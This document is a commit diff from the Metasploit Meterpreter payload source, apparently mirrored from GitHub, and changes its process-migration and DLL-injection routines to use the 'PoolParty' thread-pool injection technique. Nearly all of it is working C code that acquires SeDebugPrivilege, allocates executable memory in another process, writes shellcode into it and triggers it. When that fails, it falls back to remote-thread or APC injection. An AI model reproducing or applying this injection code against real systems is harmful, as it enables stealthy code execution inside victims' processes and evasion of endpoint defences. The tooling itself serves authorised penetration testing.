mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-16 00:24:29 +01:00
feat(injection): improved system check to ensure poolparty is supported, removed unused variants, better code to execute variants
This commit is contained in:
parent
86b7920c77
commit
cc408de7a6
@ -539,8 +539,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
|
||||
MetsrvConfig* config = NULL;
|
||||
DWORD configSize = 0;
|
||||
|
||||
BOOL bStealth = FALSE;
|
||||
|
||||
BOOL bPoolParty = FALSE;
|
||||
DWORD dwProcessAccess;
|
||||
do
|
||||
{
|
||||
@ -570,31 +570,28 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s", dwProcessID, dwDestinationArch == 2 ? "x64" : "x86");
|
||||
dprintf("[MIGRATE] Attempting to migrate. PayloadLength=%d StubLength=%d", dwPayloadLength, dwMigrateStubLength);
|
||||
|
||||
bStealth = support_stealth_injection(dwDestinationArch);
|
||||
bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);
|
||||
|
||||
if(TRUE) {
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
{
|
||||
TOKEN_PRIVILEGES priv = { 0 };
|
||||
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES priv = { 0 };
|
||||
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
|
||||
{
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
|
||||
{
|
||||
dprintf("[MIGRATE] Got SeDebugPrivilege!");
|
||||
}
|
||||
dprintf("[MIGRATE] Got SeDebugPrivilege!");
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;
|
||||
if (TRUE) {
|
||||
dwProcessAccess |= PROCESS_CREATE_THREAD;
|
||||
}
|
||||
dwProcessAccess |= PROCESS_CREATE_THREAD;
|
||||
|
||||
hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID);
|
||||
|
||||
@ -679,7 +676,17 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
|
||||
free(ctx);
|
||||
|
||||
if (FALSE) {
|
||||
if (bPoolParty) {
|
||||
dwResult = inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS;
|
||||
if (dwResult != ERROR_SUCCESS){
|
||||
// If we fail injecting with poolparty, we reset the dwResult and set the bPoolParty to FALSE to make the next if-clause true.
|
||||
bPoolParty = FALSE;
|
||||
dwResult = ERROR_SUCCESS;
|
||||
dprintf("[MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.");
|
||||
}
|
||||
}
|
||||
|
||||
if (!bPoolParty) {
|
||||
// First we try to migrate by directly creating a remote thread in the target process
|
||||
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
@ -693,11 +700,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(ERROR_ACCESS_DENIED);
|
||||
BREAK_WITH_ERROR("[MIGRATE] inject_via_poolparty failed", ERROR_INVALID_FUNCTION);
|
||||
}
|
||||
|
||||
}
|
||||
} while (0);
|
||||
|
||||
|
@ -519,6 +519,13 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
|
||||
DWORD dwPoolPartyVariant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
|
||||
|
||||
if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) {
|
||||
return ERROR_POOLPARTY_GENERIC;
|
||||
}
|
||||
|
||||
POOLPARTY_INJECTOR *poolparty = GetOrInitPoolParty(dwMeterpreterArch, dwDestinationArch);
|
||||
|
||||
do
|
||||
{
|
||||
@ -528,18 +535,9 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
|
||||
lpStub = &poolparty_stub_x64;
|
||||
dwStubSize = sizeof(poolparty_stub_x64) - 1;
|
||||
}else if (dwMeterpreterArch == PROCESS_ARCH_X86 && !IsWow64Process(GetCurrentProcess(), NULL)) {
|
||||
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x86");
|
||||
lpStub = &poolparty_stub_x86;
|
||||
dwStubSize = sizeof(poolparty_stub_x86) - 1;
|
||||
}
|
||||
else {
|
||||
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_wow64");
|
||||
lpStub = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2);
|
||||
memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
|
||||
memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
|
||||
dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
|
||||
dwDestinationArch = PROCESS_ARCH_X64;
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on x86 targets (yet)!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
@ -557,22 +555,34 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
|
||||
if (!lpPoolPartyStub) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (remote_tp_direct_insertion(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent) == ERROR_SUCCESS) {
|
||||
dprintf("[INJECT] inject_via_poolparty: injectied!");
|
||||
for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
|
||||
if (poolparty->variants[variant].isInjectionSupported) {
|
||||
#ifdef DEBUGTRACE
|
||||
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
|
||||
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
|
||||
};
|
||||
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
|
||||
#endif
|
||||
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
|
||||
if (dwResult == ERROR_SUCCESS) {
|
||||
dprintf("[INJECT] inject_via_poolparty: injectied!");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: migration with remote_tp_wait_insertion failed", ERROR_POOLPARTY_GENERIC)
|
||||
if (dwResult != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
|
||||
}
|
||||
}
|
||||
else {
|
||||
@ -600,19 +610,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
BOOL support_stealth_injection(DWORD dwDestinationArch) {
|
||||
OSVERSIONINFO os = { 0 };
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
if (GetVersionEx(&os)) {
|
||||
if (os.dwMajorVersion >= 6) { // PoolParty is supported from Vista.
|
||||
if (dwDestinationArch == dwMeterpreterArch) {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Inject a DLL image into a process via Reflective DLL Injection.
|
||||
*
|
||||
@ -638,83 +635,8 @@ BOOL support_stealth_injection(DWORD dwDestinationArch) {
|
||||
* target and must be set to a valid address within the target process.
|
||||
*/
|
||||
|
||||
DWORD inject_dll_legacy( DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize )
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
LPVOID lpRemoteArg = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPVOID lpReflectiveLoader = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !lpDllBuffer || !dwDllLength )
|
||||
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
|
||||
if (dwDestinationArch == PROCESS_ARCH_UNKNOWN)
|
||||
dwDestinationArch = dwMeterpreterArch;
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer, reflectiveLoader );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
|
||||
|
||||
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
|
||||
if( !hProcess )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
|
||||
|
||||
if( lpArg )
|
||||
{
|
||||
if (stArgSize)
|
||||
{
|
||||
// alloc some space and write the argument which we will pass to the injected dll...
|
||||
lpRemoteArg = VirtualAllocEx(hProcess, NULL, stArgSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!lpRemoteArg)
|
||||
BREAK_ON_ERROR("[INJECT] inject_dll. VirtualAllocEx 1 failed");
|
||||
|
||||
if (!WriteProcessMemory(hProcess, lpRemoteArg, lpArg, stArgSize, NULL))
|
||||
BREAK_ON_ERROR("[INJECT] inject_dll. WriteProcessMemory 1 failed");
|
||||
}
|
||||
else
|
||||
{
|
||||
// if only lpArg is specified, pass it as-is without allocating space for it and copying the contents
|
||||
lpRemoteArg = lpArg;
|
||||
}
|
||||
}
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// First we try to inject by directly creating a remote thread in the target process
|
||||
if( inject_via_remotethread( NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
|
||||
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hProcess )
|
||||
CloseHandle( hProcess );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
|
||||
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
LPVOID lpRemoteArg = NULL;
|
||||
@ -722,7 +644,7 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPVOID lpReflectiveLoader = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
|
||||
BOOL bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);
|
||||
do
|
||||
{
|
||||
if (!lpDllBuffer || !dwDllLength)
|
||||
@ -735,7 +657,7 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
|
||||
if (!dwReflectiveLoaderOffset)
|
||||
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
||||
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
|
||||
if (!hProcess)
|
||||
BREAK_ON_ERROR("[INJECT] inject_dll. OpenProcess failed.");
|
||||
|
||||
@ -771,9 +693,26 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
|
||||
lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// First we try to inject by directly creating a remote thread in the target process
|
||||
if (inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...");
|
||||
if (bPoolParty) {
|
||||
dwResult = inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg);
|
||||
if (dwResult != ERROR_SUCCESS) {
|
||||
dprintf("[INJECT] inject_via_poolparty failed, proceeding with legacy injection.");
|
||||
// Reset dwResult and set bPoolParty to FALSE.
|
||||
dwResult = ERROR_SUCCESS;
|
||||
bPoolParty = FALSE;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (!bPoolParty) {
|
||||
if (inject_via_remotethread(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...");
|
||||
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if (inject_via_apcthread(NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
|
||||
BREAK_ON_ERROR("[INJECT] inject_dll. inject_via_apcthread failed")
|
||||
}
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
@ -784,15 +723,4 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) {
|
||||
DWORD injected = 1;
|
||||
if (support_stealth_injection(dwDestinationArch)) {
|
||||
injected = inject_dll_stealth(dwPid, dwDestinationArch, lpDllBuffer, dwDllLength, reflectiveLoader, lpArg, stArgSize);
|
||||
}
|
||||
if (injected != ERROR_SUCCESS) {
|
||||
injected = inject_dll_legacy(dwPid, dwDestinationArch, lpDllBuffer, dwDllLength, reflectiveLoader, lpArg, stArgSize);
|
||||
}
|
||||
return injected;
|
||||
}
|
@ -99,7 +99,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
|
||||
|
||||
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
|
||||
BOOL support_stealth_injection(DWORD dwDestinationArch);
|
||||
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
@ -3,7 +3,7 @@
|
||||
#include "pool_party_ext.h"
|
||||
|
||||
pNtDll *ntdll = NULL;
|
||||
BOOL bSupportedTechnique[POOLPARTY_TECHNIQUE_COUNT] = { 0 };
|
||||
POOLPARTY_INJECTOR* poolLifeguard = NULL;
|
||||
|
||||
pNtDll* GetOrInitNtDll() {
|
||||
BOOL bError = FALSE;
|
||||
@ -19,50 +19,107 @@ pNtDll* GetOrInitNtDll() {
|
||||
bError = ntdll == NULL;
|
||||
if (!bError) {
|
||||
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
|
||||
|
||||
// Hijack Handles, we always have this ( hopefully :/ )
|
||||
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
|
||||
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);
|
||||
// Remote TP Wait Insertion: WIN11, WIN10(?)
|
||||
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
|
||||
if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
|
||||
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION] = TRUE;
|
||||
}
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
|
||||
|
||||
// Remote TP Direct Insertion: WIN11 WIN10(?) WIN7
|
||||
|
||||
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
|
||||
if (ntdll->pZwSetIoCompletion != NULL) {
|
||||
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION] = TRUE;
|
||||
if (poolLifeguard != NULL) {
|
||||
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported = TRUE;
|
||||
}
|
||||
}
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", ntdll->pZwSetIoCompletion);
|
||||
|
||||
//ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
|
||||
//if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
|
||||
// if (poolLifeguard != NULL) {
|
||||
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported = TRUE;
|
||||
// }
|
||||
//}
|
||||
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
|
||||
|
||||
ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory);
|
||||
//ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7
|
||||
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory);
|
||||
|
||||
ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory);
|
||||
//ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
|
||||
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory);
|
||||
|
||||
if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) {
|
||||
bSupportedTechnique[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE] = TRUE;
|
||||
}
|
||||
|
||||
|
||||
//ntdll->pZwSetInformationFile = (NTSTATUS(NTAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG))GetProcAddress(hNtDll, "ZwSetInformationFile"); // WIN7
|
||||
//ntdll->pNtAlpcCreatePort = (NTSTATUS(NTAPI*)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES))GetProcAddress(hNtDll, "NtAlpcCreatePort"); // WIN7
|
||||
//ntdll->pNtAlpcSetInformation = (NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG))GetProcAddress(hNtDll, "NtAlpcSetInformation"); // WIN7
|
||||
//ntdll->pNtAlpcConnectPort = (NTSTATUS(NTAPI*)(PHANDLE, PUNICODE_STRING, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES, DWORD, PSID, PPORT_MESSAGE, PSIZE_T, PALPC_MESSAGE_ATTRIBUTES, PALPC_MESSAGE_ATTRIBUTES, PLARGE_INTEGER))GetProcAddress(hNtDll, "NtAlpcConnectPort"); // WIN7
|
||||
//ntdll->pRtlAdjustPrivilege = (NTSTATUS(NTAPI*)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))GetProcAddress(hNtDll, "RtlAdjustPrivilege"); // WIN7
|
||||
//ntdll->pNtSetTimer2 = (NTSTATUS(NTAPI*)(HANDLE, PLARGE_INTEGER, PLARGE_INTEGER, PT2_SET_PARAMETERS))GetProcAddress(hNtDll, "NtSetTimer2"); // WIN 10(?)
|
||||
//ntdll->pNtTpAllocAlpcCompletion = (NTSTATUS(NTAPI*)(PVOID, HANDLE, PVOID, PVOID, PVOID))GetProcAddress(hNtDll, "TpAllocAlpcCompletion"); // WIN7
|
||||
//ntdll->pTpAllocJobNotification = (NTSTATUS(NTAPI*)(PVOID, HANDLE, PVOID, PVOID, PVOID))GetProcAddress(hNtDll, "TpAllocJobNotification"); // WIN 10
|
||||
//if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) {
|
||||
// if (poolLifeguard != NULL) {
|
||||
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE;
|
||||
// }
|
||||
//}
|
||||
}
|
||||
}
|
||||
return ntdll;
|
||||
}
|
||||
|
||||
POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
bError = (hHeap == NULL);
|
||||
BOOL isWow64;
|
||||
IsWow64Process(GetCurrentProcess(), &isWow64);
|
||||
|
||||
if (poolLifeguard != NULL) {
|
||||
return poolLifeguard;
|
||||
}
|
||||
|
||||
if (!bError) {
|
||||
poolLifeguard = (POOLPARTY_INJECTOR*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(POOLPARTY_INJECTOR));
|
||||
bError = poolLifeguard == NULL;
|
||||
|
||||
if(!bError) {
|
||||
poolLifeguard->init = FALSE;
|
||||
if (ntdll == NULL) {
|
||||
bError = GetOrInitNtDll() == NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (!bError) {
|
||||
if (dwSourceArch == PROCESS_ARCH_X64) {
|
||||
if (dwDestinationArch == PROCESS_ARCH_X64) {
|
||||
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported;
|
||||
}
|
||||
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported;
|
||||
}
|
||||
}
|
||||
|
||||
if (!bError) {
|
||||
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].handler = remote_tp_direct_insertion;
|
||||
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].handler = remote_tp_wait_insertion;
|
||||
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].handler = worker_factory_start_routine_overwrite;
|
||||
poolLifeguard->init = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (bError && poolLifeguard != NULL) {
|
||||
HeapFree(hHeap, 0, poolLifeguard);
|
||||
